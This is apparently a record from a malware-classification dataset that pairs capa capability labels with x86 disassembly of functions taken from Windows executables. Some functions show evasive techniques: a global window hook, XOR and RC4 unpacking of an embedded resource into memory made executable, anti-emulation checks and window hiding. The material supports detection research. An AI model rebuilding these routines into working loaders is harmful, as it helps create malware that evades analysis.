joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4513a0
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x45154b
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x45152c
mov dl, 1
mov eax, dword [0x415198]
call fcn.00403144
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.00403ec4
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x45151b
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.0043f304
test al, al
je 0x45150e
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x45155c
lea eax, [ebp - 0x254]
call fcn.00408c40
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x45150e
xor eax, eax
push ebp
push 0x451507
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x451594
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x4514f0
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404134
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x4514f0
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404134
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45150e
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x451411
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.00418c74
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x451552
lea eax, [ebp - 0x260]
call fcn.00403ec4
ret

Function at 0x451e80
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x45fbb4]
cmp byte [eax + 0xa5], 0
jne 0x451ef1
cmp dword [0x45fbcc], 0
jne 0x451eb2
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x451e3c
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x45fbcc], eax
cmp dword [0x45fbc8], 0
jne 0x451ecd
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x45fbc8], eax
cmp dword [0x45fbd0], 0
jne 0x451ef1
push esp
push 0
push 0
push 0x451de0
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x45fbd0], eax
pop edx
ret
Function at 0x451fe8
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x451fff
add esp, 0xfffffff0
call fcn.00403498
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041ca84
mov eax, dword [0x45e0b0]
cmp word [eax + 2], 0
jne 0x452027
mov eax, dword [0x45e0b0]
mov dword [eax + 4], ebx
mov dword [eax], fcn.004536c0
mov eax, dword [0x45e164]
cmp word [eax + 2], 0
jne 0x452041
mov eax, dword [0x45e164]
mov dword [eax + 4], ebx
mov dword [eax], fcn.004538b8
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x414d7c]
call fcn.00403144
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x414d7c]
call fcn.00403144
mov dword [ebx + 0xa8], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0x9d], 1
mov byte [ebx + 0xb4], 1
mov dl, 1
mov eax, dword [0x41ef80]
call fcn.0042684c
mov esi, eax
mov dword [ebx + 0x98], esi
push 0x4521c8
mov eax, dword [0x45dfcc]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.00426c1c
mov eax, dword [ebx + 0x98]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x453e58
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x45dfcc]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040c390
test eax, eax
je 0x452136
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.00408634
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040c3b8
test eax, eax
je 0x45214a
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.00404134
mov eax, dword [0x45de9c]
cmp byte [eax], 0
jne 0x45217e
mov eax, ebx
call fcn.004522f0
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0x9e], 1
xor eax, eax
mov dword [ebx + 0xa0], eax
mov eax, ebx
call fcn.00454034
mov eax, ebx
call fcn.004549f8
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x4521be
call fcn.004034f0
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x452570
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x45fbb4]
cmp dword [eax + 0x30], 0
je 0x45261a
cmp dword [ebx + 0x94], 0
jne 0x452614
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x452500
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x452614
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x4525da
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x452614
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.004170e4
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x4525e9
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x45317c
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x4531b1
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00403fb4
jmp 0x4531be
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00403f18
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x454210
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x454251
mov eax, esi
call fcn.0043aa78
test al, al
je 0x454251
mov eax, dword [ebx + 0x84]
call fcn.0043a774
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x454251
push 0
mov eax, dword [ebx + 0x84]
call fcn.0043a774
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret
Function at 0x454f10
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x48], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
lea eax, [ebp - 0x10]
mov edx, dword [0x414378]
call fcn.00404830
xor eax, eax
push ebp
push 0x455054
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x45dd80], 0
jne 0x454f63
mov ecx, dword [0x45deac]
mov dl, 1
mov eax, dword [0x40702c]
call fcn.0040b63c
call fcn.00403900
lea eax, [ebp - 0x20]
xor ecx, ecx
mov edx, 0x10
call fcn.00402b88
mov eax, ebx
call fcn.00404700
mov dword [ebp - 0x1c], eax
push esi
push edi
mov esi, 0x455064
lea edi, [ebp - 0x30]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop edi
pop esi
lea eax, [ebp - 0x30]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0xc]
call fcn.004057b4
xor eax, eax
mov dword [ebp - 8], eax
mov eax, ebx
call fcn.00404710
test eax, eax
jle 0x454ffb
mov dword [ebp - 4], 0x10
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x40]
push eax
call sub.kernel32.dll_GetComputerNameA
test eax, eax
je 0x454ff4
lea eax, [ebp - 0x44]
mov edx, ebx
call fcn.0040414c
mov eax, dword [ebp - 0x44]
push eax
lea eax, [ebp - 0x48]
lea edx, [ebp - 0x40]
mov ecx, 0x10
call fcn.00404134
mov eax, dword [ebp - 0x48]
pop edx
call fcn.00407e38
test eax, eax
jne 0x454ff4
mov ebx, 0x15
jmp 0x455000
mov ebx, 0x10
jmp 0x455000
mov ebx, 0x15
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 0x20]
push eax
push ebx
push 0
push esi
call dword [0x45dd80]
call fcn.00454e68
mov eax, dword [ebp - 8]
call fcn.00454e68
mov eax, edi
mov edx, dword [ebp - 0xc]
call fcn.004057cc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45505b
lea eax, [ebp - 0x48]
mov edx, 2
call fcn.00403ee8
lea eax, [ebp - 0x10]
mov edx, dword [0x414378]
call fcn.00404900
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x408f6c
nop
mov ecx, 0x2a8321a7
nop
nop
test eax, eax
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x430024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e3d0
nop
nop
mov ecx, 0x1703728d
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x4013a0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
xor eax, eax
mov dword [eax*4 + 0x426478], eax
inc eax
cmp eax, 0x100
jne 0x4013a2
push esi
xor esi, esi
xor ecx, ecx
xor edx, edx
mov eax, ecx
div edi
inc ecx
movsx eax, byte [edx + 0x41f7bc]
add eax, dword [ecx*4 + 0x426474]
add eax, esi
and eax, 0xff
mov esi, eax
mov al, byte [ecx*4 + 0x426474]
mov edx, dword [esi*4 + 0x426478]
mov dword [ecx*4 + 0x426474], edx
movzx eax, al
mov dword [esi*4 + 0x426478], eax
cmp ecx, 0x100
jne 0x4013b6
mov dword [0x426878], 0
mov dword [0x42687c], 0
pop esi
ret

Function at 0x401520
Capabilities:
Encode data using xor
Encrypt data using rc4 prga
Hide graphical window

Disassembly:
push ebp
mov ebp, dword [0x42646c]
push esi
mov esi, eax
mov eax, 0x41f7bc
push edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401533
sub eax, edx
mov edi, eax
call fcn.004013a0
sub esi, 1
js 0x4015b7
mov ecx, dword [0x42687c]
mov eax, dword [0x426878]
jmp 0x401560
inc ecx
and ecx, 0xff
mov edi, dword [ecx*4 + 0x426478]
add eax, edi
and eax, 0xff
mov dl, byte [eax*4 + 0x426478]
mov dword [eax*4 + 0x426478], edi
movzx edx, dl
mov dword [ecx*4 + 0x426478], edx
mov edi, dword [eax*4 + 0x426478]
add edi, edx
and edi, 0xff
movzx edx, byte [edi*4 + 0x426478]
xor byte [esi + ebp], dl
sub esi, 1
jns 0x401560
mov dword [0x426878], eax
mov dword [0x42687c], ecx
pop edi
cmp esi, 0x34adb9
pop esi
pop ebp
jle 0x4015d6
push 0
push 0
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
ret
Function at 0x4015f0
Capabilities:
Get memory capacity
Resolve function by parsing pe exports

Disassembly:
sub esp, 0xac
mov eax, dword [0x4220d0]
xor eax, esp
mov dword [esp + 0xa4], eax
push ebx
mov ebx, dword [sym.imp.USER32.dll_GetDC]
push ebp
mov ebp, dword [sym.imp.GDI32.dll_GetGraphicsMode]
xor eax, eax
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_AddAtomW]
mov dword [0x426468], eax
mov dword [0x426474], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x24], eax
xor esi, esi
cmp esi, 0xdd7c
jg 0x401650
cmp esi, 0x274
jge 0x40164d
push eax
call edi
push 0
call ebp
push 0
call ebx
xor eax, eax
inc esi
jmp 0x401630
mov edi, dword [sym.imp.KERNEL32.dll_GetCPInfo]
mov ebp, dword [sym.imp.USER32.dll_GetMonitorInfoW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetMailslotInfo]
xor esi, esi
mov byte [esp + 0x17], 1
lea esp, [esp]
lea eax, [esp + 0x40]
push eax
lea ecx, [esp + 0x4c]
push ecx
lea edx, [esp + 0x40]
push edx
call sub.KERNEL32.dll_GetSystemTimes
lea eax, [esp + 0xa0]
push eax
push 0
call edi
lea ecx, [esp + 0x78]
push ecx
push 0
call ebp
lea edx, [esp + 0x34]
push edx
lea eax, [esp + 0x30]
push eax
lea ecx, [esp + 0x30]
push ecx
lea edx, [esp + 0x3c]
push edx
push 0
call ebx
lea eax, [esp + 0x58]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
cmp esi, 0x54645
jle 0x401728
cmp dword [esp + 0x38], 0x3c4020
je 0x401728
cmp byte [esp + 0xa6], 0xea
je 0x401728
cmp dword [esp + 0x84], 0x979c0c0
je 0x401728
cmp dword [esp + 0x28], 0x1a9c22ac
je 0x401728
cmp dword [esp + 0x64], 0x2ba6a94e
je 0x401728
mov eax, dword [0x426880]
mov byte [esp + 0x17], 0
test eax, eax
jne 0x401717
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [0x426880], eax
push str.VirtualProtect
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x426468], eax
inc esi
cmp byte [esp + 0x17], 0
jne 0x401670
mov ax, word [esp + 0x4c]
mov ecx, 0x165daba
jmp 0x401758
cmp dword [esp + 0x1c], 0x5462d
jbe 0x401758
mov edx, 0x15a
cmp ax, dx
je 0x401758
mov dword [esp + 0x24], ecx
inc dword [esp + 0x1c]
cmp dword [esp + 0x24], ecx
jne 0x401740
mov dword [esp + 0x18], 0
mov dword [esp + 0x18], 0xb6c1
mov eax, dword [esp + 0x18]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ecx, dword [esp + 0x18]
mov dword [0x42646c], eax
xor eax, eax
test ecx, ecx
jbe 0x4017a6
mov cl, byte [eax + resource.0]
mov edx, dword [0x42646c]
mov byte [edx + eax], cl
mov ecx, dword [esp + 0x18]
inc eax
cmp eax, ecx
jb 0x40178e
lea eax, [esp + 0x20]
push eax
push 0x40
push ecx
mov ecx, dword [0x42646c]
push ecx
call dword [0x426468]
mov eax, dword [esp + 0x18]
call fcn.00401520
mov ecx, dword [esp + 0xb4]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
xor eax, eax
call fcn.004027a4
add esp, 0xac
ret

Function at 0x4027a4
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4220d0]
jne 0x4027ae
repz ret
jmp fcn.00403700
Function at 0x410773
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004068d2
and dword [ebp - 4], 0
cmp dword [0x423b44], 0
mov ebx, eax
jne 0x410824
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4108d5
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4108d5
push eax
call fcn.00406860
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x423b44], eax
call esi
push eax
call fcn.00406860
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x423b48], eax
call esi
push eax
call fcn.00406860
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x423b4c], eax
call esi
push eax
call fcn.00406860
pop ecx
mov dword [0x423b54], eax
test eax, eax
je 0x410824
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00406860
pop ecx
mov dword [0x423b50], eax
mov eax, dword [0x423b50]
cmp eax, ebx
je 0x41087c
cmp dword [0x423b54], ebx
je 0x41087c
push eax
call fcn.004068db
push dword [0x423b54]
mov esi, eax
call fcn.004068db
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x41087c
test edi, edi
je 0x41087c
call esi
test eax, eax
je 0x410873
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x410873
test byte [ebp - 0xc], 1
jne 0x41087c
or dword [ebp + 0x10], 0x200000
jmp 0x4108b5
mov eax, dword [0x423b48]
cmp eax, ebx
je 0x4108b5
push eax
call fcn.004068db
pop ecx
test eax, eax
je 0x4108b5
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4108b5
mov eax, dword [0x423b4c]
cmp eax, ebx
je 0x4108b5
push eax
call fcn.004068db
pop ecx
test eax, eax
je 0x4108b5
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x423b44]
call fcn.004068db
pop ecx
test eax, eax
je 0x4108d5
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4108d7
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x44e848
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.0044e9df
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x44e9b7
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x44e9b7
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x44e96c
jg 0x44e8a4
test eax, eax
je 0x44e962
push 1
push 0x1000
call fcn.0044421e
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x44e8c7
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x44e959
push 0x8000
push ebx
call fcn.00440034
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x44e8f0
jg 0x44e8eb
cmp ecx, 0x1000
jb 0x44e8f0
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.00449695
add esp, 0x10
cmp eax, 0xffffffff
je 0x44e935
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x44e8eb
jl 0x44e91c
test ecx, ecx
jne 0x44e8dd
push dword [ebp - 0xc]
push ebx
call fcn.00440034
push esi
call fcn.004439bb
add esp, 0xc
xor ebx, ebx
jmp 0x44e9c5
cmp byte [edi + 0x24], 0
je 0x44e94c
cmp dword [edi + 0x20], 5
jne 0x44e94c
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x44e957
mov ebx, dword [edi + 0x18]
jmp 0x44e959
xor ebx, ebx
push esi
call fcn.004439bb
pop ecx
jmp 0x44e9c5
test ecx, ecx
jg 0x44e92e
jl 0x44e96c
test eax, eax
jae 0x44e92e
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00448c3e
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x44e98c
cmp byte [edi + 0x1c], 0
je 0x44e92e
jmp 0x44e9bd
push ebx
call fcn.0044730c
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x44e92e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x44e9c5
cmp byte [edi + 0x1c], 0
je 0x44e9c2
mov ebx, dword [edi + 0x18]
jmp 0x44e9c5
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.00448c3e
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x432bb3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov eax, section.sect_0
call 0x432bb3
lcall 0x5de5, 0x8b10c483
jmp loc.009696e8
Function at 0x4099ec
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x409abf
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x409ad8
push ebx
push 0x409ae4
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.004033b4
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.0040277c
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00403414
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x409a6c
mov al, 0x6a
call fcn.00409648
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle_1
call fcn.004099c0
push 0xff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
dec eax
je 0x409a75
call fcn.004099c0
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409ac6
lea eax, [ebp - 4]
call fcn.00403198
ret

Function at 0x409b78
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffbc
mov edi, eax
lea esi, [esp + 0x28]
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebx, edi
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409c2c
jmp 0x409c21
cmp dword [esi + 0x10], 0x1000
jne 0x409c0d
test byte [esi + 0x15], 1
jne 0x409c0d
xor ebx, ebx
mov eax, dword [esi + 0x14]
cmp eax, 1
je 0x409bcc
cmp eax, 2
je 0x409bcc
cmp eax, 0x10
je 0x409bcc
cmp eax, 0x20
jne 0x409be1
push esp
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x409be1
mov bl, 1
xor ebp, ebp
jmp 0x409bf2
mov eax, dword [esi]
add eax, ebp
call fcn.00409b70
add ebp, dword [esp + 8]
cmp ebp, dword [esi + 0xc]
jb 0x409be5
test bl, bl
je 0x409c0d
push esp
mov eax, dword [esp + 4]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov ebx, eax
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409c2c
mov eax, dword [esi + 4]
cmp eax, edi
je 0x409ba4
add esp, 0x44
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x40c006
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ecx, 0xcbf
mov ebx, edx
xor word [eax], dx
lea edx, [ebx + edx]
xchg dh, dl
lea eax, [eax + 2]
loop 0x40c00e
pop ebx
ret